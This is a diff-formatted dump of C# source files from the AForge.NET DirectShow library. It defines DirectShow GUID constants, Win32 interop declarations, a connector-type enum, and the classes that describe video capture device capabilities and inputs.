new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||
|
||||
/// <summary>
|
||||
/// Async reader.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AsyncReader.</remarks>
|
||||
///
|
||||
public static readonly Guid AsyncReader =
|
||||
new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow format types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class FormatType
|
||||
{
|
||||
/// <summary>
|
||||
/// VideoInfo.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to FORMAT_VideoInfo.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInfo =
|
||||
new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A );
|
||||
|
||||
/// <summary>
|
||||
/// VideoInfo2.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to FORMAT_VideoInfo2.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInfo2 =
|
||||
new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow media types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class MediaType
|
||||
{
|
||||
/// <summary>
|
||||
/// Video.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Video.</remarks>
|
||||
///
|
||||
public static readonly Guid Video =
|
||||
new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Interleaved. Used by Digital Video (DV).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Interleaved.</remarks>
|
||||
///
|
||||
public static readonly Guid Interleaved =
|
||||
new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Audio.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Audio.</remarks>
|
||||
///
|
||||
public static readonly Guid Audio =
|
||||
new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Text.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Text.</remarks>
|
||||
///
|
||||
public static readonly Guid Text =
|
||||
new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Byte stream with no time stamps.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Stream.</remarks>
|
||||
///
|
||||
public static readonly Guid Stream =
|
||||
new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow media subtypes.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class MediaSubType
|
||||
{
|
||||
/// <summary>
|
||||
/// YUY2 (packed 4:2:2).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_YUYV.</remarks>
|
||||
///
|
||||
public static readonly Guid YUYV =
|
||||
new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// IYUV.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_IYUV.</remarks>
|
||||
///
|
||||
public static readonly Guid IYUV =
|
||||
new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// A DV encoding format. (FOURCC 'DVSD')
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_DVSD.</remarks>
|
||||
///
|
||||
public static readonly Guid DVSD =
|
||||
new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 1 bit per pixel (bpp), palettized.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB1.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB1 =
|
||||
new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 4 bpp, palettized.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB4.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB4 =
|
||||
new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 8 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB8.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB8 =
|
||||
new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB 565, 16 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB565.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB565 =
|
||||
new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB 555, 16 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB555.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB555 =
|
||||
new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 24 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB24.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB24 =
|
||||
new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 32 bpp, no alpha channel.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB32.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB32 =
|
||||
new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// Data from AVI file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_Avi.</remarks>
|
||||
///
|
||||
public static readonly Guid Avi =
|
||||
new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// Advanced Streaming Format (ASF).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_Asf.</remarks>
|
||||
///
|
||||
public static readonly Guid Asf =
|
||||
new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow pin categories.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class PinCategory
|
||||
{
|
||||
/// <summary>
|
||||
/// Capture pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to PIN_CATEGORY_CAPTURE.</remarks>
|
||||
///
|
||||
public static readonly Guid Capture =
|
||||
new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||
|
||||
/// <summary>
|
||||
/// Still image pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to PIN_CATEGORY_STILL.</remarks>
|
||||
///
|
||||
public static readonly Guid StillImage =
|
||||
new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||
}
|
||||
|
||||
// Below GUIDs are used by ICaptureGraphBuilder::FindInterface().
|
||||
[ComVisible( false )]
|
||||
static internal class FindDirection
|
||||
{
|
||||
/// <summary>Equals to LOOK_UPSTREAM_ONLY.</summary>
|
||||
public static readonly Guid UpstreamOnly =
|
||||
new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||
|
||||
/// <summary>Equals to LOOK_DOWNSTREAM_ONLY.</summary>
|
||||
public static readonly Guid DownstreamOnly =
|
||||
new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||
}
|
||||
}
|
@ -0,0 +1,102 @@
|
||||
// AForge Video for Windows Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2007-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
/// <summary>
|
||||
/// Some Win32 API used internally.
|
||||
/// </summary>
|
||||
///
|
||||
internal static class Win32
|
||||
{
|
||||
/// <summary>
|
||||
/// Supplies a pointer to an implementation of <b>IBindCtx</b> (a bind context object).
|
||||
/// This object stores information about a particular moniker-binding operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="reserved">Reserved for future use; must be zero.</param>
|
||||
/// <param name="ppbc">Address of <b>IBindCtx*</b> pointer variable that receives the
|
||||
/// interface pointer to the new bind context object.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport( "ole32.dll" )]
|
||||
public static extern
|
||||
int CreateBindCtx( int reserved, out IBindCtx ppbc );
|
||||
|
||||
/// <summary>
|
||||
/// Converts a string into a moniker that identifies the object named by the string.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pbc">Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.</param>
|
||||
/// <param name="szUserName">Pointer to a zero-terminated wide character string containing the display name to be parsed. </param>
|
||||
/// <param name="pchEaten">Pointer to the number of characters of szUserName that were consumed.</param>
|
||||
/// <param name="ppmk">Address of <b>IMoniker*</b> pointer variable that receives the interface pointer
|
||||
/// to the moniker that was built from <b>szUserName</b>.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport( "ole32.dll", CharSet = CharSet.Unicode )]
|
||||
public static extern
|
||||
int MkParseDisplayName( IBindCtx pbc, string szUserName,
|
||||
ref int pchEaten, out IMoniker ppmk );
|
||||
|
||||
/// <summary>
|
||||
/// Copy a block of memory.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="dst">Destination pointer.</param>
|
||||
/// <param name="src">Source pointer.</param>
|
||||
/// <param name="count">Memory block's length to copy.</param>
|
||||
///
|
||||
/// <returns>Return's the value of <b>dst</b> - pointer to destination.</returns>
|
||||
///
|
||||
[DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )]
|
||||
public static unsafe extern int memcpy(
|
||||
byte* dst,
|
||||
byte* src,
|
||||
int count );
|
||||
|
||||
/// <summary>
|
||||
/// Invokes a new property frame, that is, a property sheet dialog box.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hwndOwner">Parent window of property sheet dialog box.</param>
|
||||
/// <param name="x">Horizontal position for dialog box.</param>
|
||||
/// <param name="y">Vertical position for dialog box.</param>
|
||||
/// <param name="caption">Dialog box caption.</param>
|
||||
/// <param name="cObjects">Number of object pointers in <b>ppUnk</b>.</param>
|
||||
/// <param name="ppUnk">Pointer to the objects for property sheet.</param>
|
||||
/// <param name="cPages">Number of property pages in <b>lpPageClsID</b>.</param>
|
||||
/// <param name="lpPageClsID">Array of CLSIDs for each property page.</param>
|
||||
/// <param name="lcid">Locale identifier for property sheet locale.</param>
|
||||
/// <param name="dwReserved">Reserved.</param>
|
||||
/// <param name="lpvReserved">Reserved.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport( "oleaut32.dll" )]
|
||||
public static extern int OleCreatePropertyFrame(
|
||||
IntPtr hwndOwner,
|
||||
int x,
|
||||
int y,
|
||||
[MarshalAs( UnmanagedType.LPWStr )] string caption,
|
||||
int cObjects,
|
||||
[MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )]
|
||||
ref object ppUnk,
|
||||
int cPages,
|
||||
IntPtr lpPageClsID,
|
||||
int lcid,
|
||||
int dwReserved,
|
||||
IntPtr lpvReserved );
|
||||
}
|
||||
}
|
@ -0,0 +1,123 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the physical type of pin (audio or video).
|
||||
/// </summary>
|
||||
public enum PhysicalConnectorType
|
||||
{
|
||||
/// <summary>
|
||||
/// Default value of connection type. Physically it does not exist, but just either to specify that
|
||||
/// connection type should not be changed (input) or was not determined (output).
|
||||
/// </summary>
|
||||
Default = 0,
|
||||
/// <summary>
|
||||
/// Specifies a tuner pin for video.
|
||||
/// </summary>
|
||||
VideoTuner = 1,
|
||||
/// <summary>
|
||||
/// Specifies a composite pin for video.
|
||||
/// </summary>
|
||||
VideoComposite,
|
||||
/// <summary>
|
||||
/// Specifies an S-Video (Y/C video) pin.
|
||||
/// </summary>
|
||||
VideoSVideo,
|
||||
/// <summary>
|
||||
/// Specifies an RGB pin for video.
|
||||
/// </summary>
|
||||
VideoRGB,
|
||||
/// <summary>
|
||||
/// Specifies a YRYBY (Y, R–Y, B–Y) pin for video.
|
||||
/// </summary>
|
||||
VideoYRYBY,
|
||||
/// <summary>
|
||||
/// Specifies a serial digital pin for video.
|
||||
/// </summary>
|
||||
VideoSerialDigital,
|
||||
/// <summary>
|
||||
/// Specifies a parallel digital pin for video.
|
||||
/// </summary>
|
||||
VideoParallelDigital,
|
||||
/// <summary>
|
||||
/// Specifies a SCSI (Small Computer System Interface) pin for video.
|
||||
/// </summary>
|
||||
VideoSCSI,
|
||||
/// <summary>
|
||||
/// Specifies an AUX (auxiliary) pin for video.
|
||||
/// </summary>
|
||||
VideoAUX,
|
||||
/// <summary>
|
||||
/// Specifies an IEEE 1394 pin for video.
|
||||
/// </summary>
|
||||
Video1394,
|
||||
/// <summary>
|
||||
/// Specifies a USB (Universal Serial Bus) pin for video.
|
||||
/// </summary>
|
||||
VideoUSB,
|
||||
/// <summary>
|
||||
/// Specifies a video decoder pin.
|
||||
/// </summary>
|
||||
VideoDecoder,
|
||||
/// <summary>
|
||||
/// Specifies a video encoder pin.
|
||||
/// </summary>
|
||||
VideoEncoder,
|
||||
/// <summary>
|
||||
/// Specifies a SCART (Peritel) pin for video.
|
||||
/// </summary>
|
||||
VideoSCART,
|
||||
/// <summary>
|
||||
/// Not used.
|
||||
/// </summary>
|
||||
VideoBlack,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a tuner pin for audio.
|
||||
/// </summary>
|
||||
AudioTuner = 4096,
|
||||
/// <summary>
|
||||
/// Specifies a line pin for audio.
|
||||
/// </summary>
|
||||
AudioLine,
|
||||
/// <summary>
|
||||
/// Specifies a microphone pin.
|
||||
/// </summary>
|
||||
AudioMic,
|
||||
/// <summary>
|
||||
/// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.
|
||||
/// </summary>
|
||||
AudioAESDigital,
|
||||
/// <summary>
|
||||
/// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.
|
||||
/// </summary>
|
||||
AudioSPDIFDigital,
|
||||
/// <summary>
|
||||
/// Specifies a SCSI pin for audio.
|
||||
/// </summary>
|
||||
AudioSCSI,
|
||||
/// <summary>
|
||||
/// Specifies an AUX pin for audio.
|
||||
/// </summary>
|
||||
AudioAUX,
|
||||
/// <summary>
|
||||
/// Specifies an IEEE 1394 pin for audio.
|
||||
/// </summary>
|
||||
Audio1394,
|
||||
/// <summary>
|
||||
/// Specifies a USB pin for audio.
|
||||
/// </summary>
|
||||
AudioUSB,
|
||||
/// <summary>
|
||||
/// Specifies an audio decoder pin.
|
||||
/// </summary>
|
||||
AudioDecoder
|
||||
}
|
||||
}
|
@ -0,0 +1,55 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow filter categories.
|
||||
/// </summary>
|
||||
[ComVisible( false )]
|
||||
public static class FilterCategory
|
||||
{
|
||||
/// <summary>
|
||||
/// Audio input device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AudioInputDeviceCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid AudioInputDevice =
|
||||
new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Video input device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_VideoInputDeviceCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInputDevice =
|
||||
new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Video compressor category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_VideoCompressorCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoCompressorCategory =
|
||||
new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Audio compressor category
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AudioCompressorCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid AudioCompressorCategory =
|
||||
new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
}
|
||||
}
|
@ -0,0 +1,245 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using AForge.Video;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
/// <summary>
|
||||
/// Capabilities of video device such as frame size and frame rate.
|
||||
/// </summary>
|
||||
public class VideoCapabilities
|
||||
{
|
||||
/// <summary>
|
||||
/// Frame size supported by video device.
|
||||
/// </summary>
|
||||
public readonly Size FrameSize;
|
||||
|
||||
/// <summary>
|
||||
/// Frame rate supported by video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para><note>This field is depricated - should not be used.
|
||||
/// Its value equals to <see cref="AverageFrameRate"/>.</note></para>
|
||||
/// </remarks>
|
||||
///
|
||||
[Obsolete( "No longer supported. Use AverageFrameRate instead." )]
|
||||
public int FrameRate
|
||||
{
|
||||
get { return AverageFrameRate; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Average frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
public readonly int AverageFrameRate;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
public readonly int MaximumFrameRate;
|
||||
|
||||
/// <summary>
|
||||
/// Number of bits per pixel provided by the camera.
|
||||
/// </summary>
|
||||
public readonly int BitCount;
|
||||
|
||||
internal VideoCapabilities( ) { }
|
||||
|
||||
// Retrieve capabilities of a video device
|
||||
static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig )
|
||||
{
|
||||
if ( videoStreamConfig == null )
|
||||
throw new ArgumentNullException( "videoStreamConfig" );
|
||||
|
||||
// ensure this device reports capabilities
|
||||
int count, size;
|
||||
int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size );
|
||||
|
||||
if ( hr != 0 )
|
||||
Marshal.ThrowExceptionForHR( hr );
|
||||
|
||||
if ( count <= 0 )
|
||||
throw new NotSupportedException( "This video device does not report capabilities." );
|
||||
|
||||
if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) )
|
||||
throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." );
|
||||
|
||||
// group capabilities with similar parameters
|
||||
Dictionary<uint, VideoCapabilities> videocapsList = new Dictionary<uint, VideoCapabilities>( );
|
||||
|
||||
for ( int i = 0; i < count; i++ )
|
||||
{
|
||||
try
|
||||
{
|
||||
VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i );
|
||||
|
||||
uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) |
|
||||
( ( (uint) vc.FrameSize.Width ) << 16 );
|
||||
|
||||
if ( !videocapsList.ContainsKey( key ) )
|
||||
{
|
||||
videocapsList.Add( key, vc );
|
||||
}
|
||||
else
|
||||
{
|
||||
if ( vc.BitCount > videocapsList[key].BitCount )
|
||||
{
|
||||
videocapsList[key] = vc;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count];
|
||||
videocapsList.Values.CopyTo( videocaps, 0 );
|
||||
|
||||
return videocaps;
|
||||
}
|
||||
|
||||
// Retrieve capabilities of a video device
|
||||
internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index )
|
||||
{
|
||||
AMMediaType mediaType = null;
|
||||
VideoStreamConfigCaps caps = new VideoStreamConfigCaps( );
|
||||
|
||||
try
|
||||
{
|
||||
// retrieve capabilities struct at the specified index
|
||||
int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps );
|
||||
|
||||
if ( hr != 0 )
|
||||
Marshal.ThrowExceptionForHR( hr );
|
||||
|
||||
if ( mediaType.FormatType == FormatType.VideoInfo )
|
||||
{
|
||||
VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
|
||||
|
||||
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
|
||||
BitCount = videoInfo.BmiHeader.BitCount;
|
||||
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
|
||||
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
|
||||
}
|
||||
else if ( mediaType.FormatType == FormatType.VideoInfo2 )
|
||||
{
|
||||
VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) );
|
||||
|
||||
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
|
||||
BitCount = videoInfo.BmiHeader.BitCount;
|
||||
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
|
||||
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new ApplicationException( "Unsupported format found." );
|
||||
}
|
||||
|
||||
// ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8
|
||||
// TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail
|
||||
// on such formats
|
||||
if ( BitCount <= 12 )
|
||||
{
|
||||
throw new ApplicationException( "Unsupported format found." );
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if ( mediaType != null )
|
||||
mediaType.Dispose( );
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if the video capability equals to the specified object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="obj">Object to compare with.</param>
|
||||
///
|
||||
/// <returns>Returns true if both are equal are equal or false otherwise.</returns>
|
||||
///
|
||||
public override bool Equals( object obj )
|
||||
{
|
||||
return Equals( obj as VideoCapabilities );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if two video capabilities are equal.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="vc2">Second video capability to compare with.</param>
|
||||
///
|
||||
/// <returns>Returns true if both video capabilities are equal or false otherwise.</returns>
|
||||
///
|
||||
public bool Equals( VideoCapabilities vc2 )
|
||||
{
|
||||
if ( (object) vc2 == null )
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get hash code of the object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Returns hash code ot the object </returns>
|
||||
public override int GetHashCode( )
|
||||
{
|
||||
return FrameSize.GetHashCode( ) ^ BitCount;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Equality operator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="a">First object to check.</param>
|
||||
/// <param name="b">Seconds object to check.</param>
|
||||
///
|
||||
/// <returns>Return true if both objects are equal or false otherwise.</returns>
|
||||
public static bool operator ==( VideoCapabilities a, VideoCapabilities b )
|
||||
{
|
||||
// if both are null, or both are same instance, return true.
|
||||
if ( object.ReferenceEquals( a, b ) )
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
// if one is null, but not both, return false.
|
||||
if ( ( (object) a == null ) || ( (object) b == null ) )
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return a.Equals( b );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Inequality operator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="a">First object to check.</param>
|
||||
/// <param name="b">Seconds object to check.</param>
|
||||
///
|
||||
/// <returns>Return true if both objects are not equal or false otherwise.</returns>
|
||||
public static bool operator !=( VideoCapabilities a, VideoCapabilities b )
|
||||
{
|
||||
return !( a == b );
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,47 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// Video input of a capture board.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>The class is used to describe video input of devices like video capture boards,
|
||||
/// which usually provide several inputs.</para>
|
||||
/// </remarks>
|
||||
///
|
||||
public class VideoInput
|
||||
{
|
||||
/// <summary>
|
||||
/// Index of the video input.
|
||||
/// </summary>
|
||||
public readonly int Index;
|
||||
|
||||
/// <summary>
|
||||
/// Type of the video input.
|
||||
/// </summary>
|
||||
public readonly PhysicalConnectorType Type;
|
||||
|
||||
internal VideoInput( int index, PhysicalConnectorType type )
|
||||
{
|
||||
Index = index;
|
||||
Type = type;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Default video input. Used to specify that it should not be changed.
|
||||
/// </summary>
|
||||
public static VideoInput Default
|
||||
{
|
||||
get { return new VideoInput( -1, PhysicalConnectorType.Default ); }
|
||||
}
|
||||
}
|
||||
}
|
126
